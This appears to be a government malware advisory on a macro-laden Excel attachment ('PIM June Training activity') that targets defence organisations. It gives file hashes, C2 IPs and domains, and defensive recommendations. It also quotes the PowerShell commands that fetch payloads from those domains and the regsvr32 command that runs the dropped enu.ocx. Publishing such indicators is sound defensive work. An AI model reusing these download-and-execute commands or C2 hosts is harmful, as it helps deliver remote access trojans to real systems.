Subject: - **Cyber Threat Advisory - Malware Analysis Report : PIM June Training Activity (Advisory No. 26)**

1. Analysis of suspicious email with the subject "**PIM June Training activity**" and a malicious attachment "**Details 2022.03.03_1501.xlsm**" revealed that document file "**Details 2022.03.03_1501.xlsm**"is a sophisticated and targeted attack by hostile Cyber actors and is spreading through email amongst defence organizations for information gathering and system control. Detail analysis is appended in ensuing paragraphs.

2. The summary of malicious email containing Microsoft Excel Spreadsheet integrated with exploit and malware is attached as (**Appendix-I**)

3. Analysis of malicious file reveals following behavior: -

a. It can download different malicious payloads and files from **Command and Control Server.**

b. The attacker can gain remote access of the system and can perform different malicious functions.

c. It can execute a hazardous VBA script (Macro) with suspicious auto execution of **remote access Trojan.**

d. It can schedule itself and other malicious processes for persistence.

e. It can access and manipulate user directories and files.

f. Data stored on infected computer can be fetched.

4. **Recommendations.** Above in view, following preventive measures must be ensured by all concerned: -

a. Microsoft executables including **Verclsid, Rundll32, Regsvr32, Regsvcs/Regasm, Odbcconf, MSiexec, Mshta, InstallUtil, CMSTP, ControlPane, Compiled HTML File** be monitored as **major malware executables** and be blacklisted

b. Be vigilant regarding **redirected links** and typing sensitive information online.

c. **Disable Macros** in all systems available in network and ensure user privileges are managed.

d. Uninstall all not in use applications / software from system and personal phone.

FBR eDOX Dy.No. 1551/28
Revelved In Chairman's Sectt

e. **Do not download attachments from emails unless you are sure about the source.**

f. Window defender and firewall be kept on **recommended** settings.

5. For any query or issues with regard to Cyber Security, report may please be forwarded to the following email addresses: -

a. **eagle1978@mail.com**
b. **falcon098@writeme.com**
c. **asntisb2@cabinet.gov.pk**

6. Kindly disseminate the same message to all concerned in your organizations, all attached/ affiliated departments and ensure necessary protective measures.

File Description

Ser	File Name	Malware Category	File Signature	
a.	Details 2022.03.03_ 15 01.xlsm	Trojan (Script.Agentb.am)	MD5	46cc01b1d87ca96ec35c990798d6338e
			SHA1	F3dfd94a3db653145dc579a2d34a3defc161d82

Files included

Ser	Files	Virus Total Score	Suspicious Behavior Score
a.	2022.03.03_1501.xlsm	40 / 61	100 / 100
b.	2022.03.03_1501.zip		
c.	enu.ocx		
d.	Regsvr32.exe		

Dropped Files. The Microsoft Excel file downloads malicious payload and drops it at path "**C:\users\Administrator\ocx**" location for further execution.

C&C Server

1	IP Address	DNS Request	Country / Region
a.	194.163.142.38	Onlinebrandedcontent.com	Germany/Bayern
b.	185.88.31.150	Onlyfansgo.com	Romania/Galati
c.	72.167.69.26	Macroantonioguerrerafitness.com	United states of America / Arizona

System and Network Commands. Following commands are used to download and cute malware:-

a. **Command** Powershell.exehttp://www.onlinebrandedcontent (.)com/165mrl/PI9TETL-YHTCpuglHEkp/

b. **Command:** Powershell.exe http://www.macroantonioguerrerafitness.com/cgi-sys/suspendedpage(.)cgi

c. **Command:** Powershell.exe http:/www.macroantonioguerrefitness (.)com/wp-content/Gzza9Kkuuca/

d. **Command:** C:/Windows/SysWow64/regsvr32.exe/s../enu.ocx

Note: enu.ocx uses windows utility **regsvr32.exe** for its execution.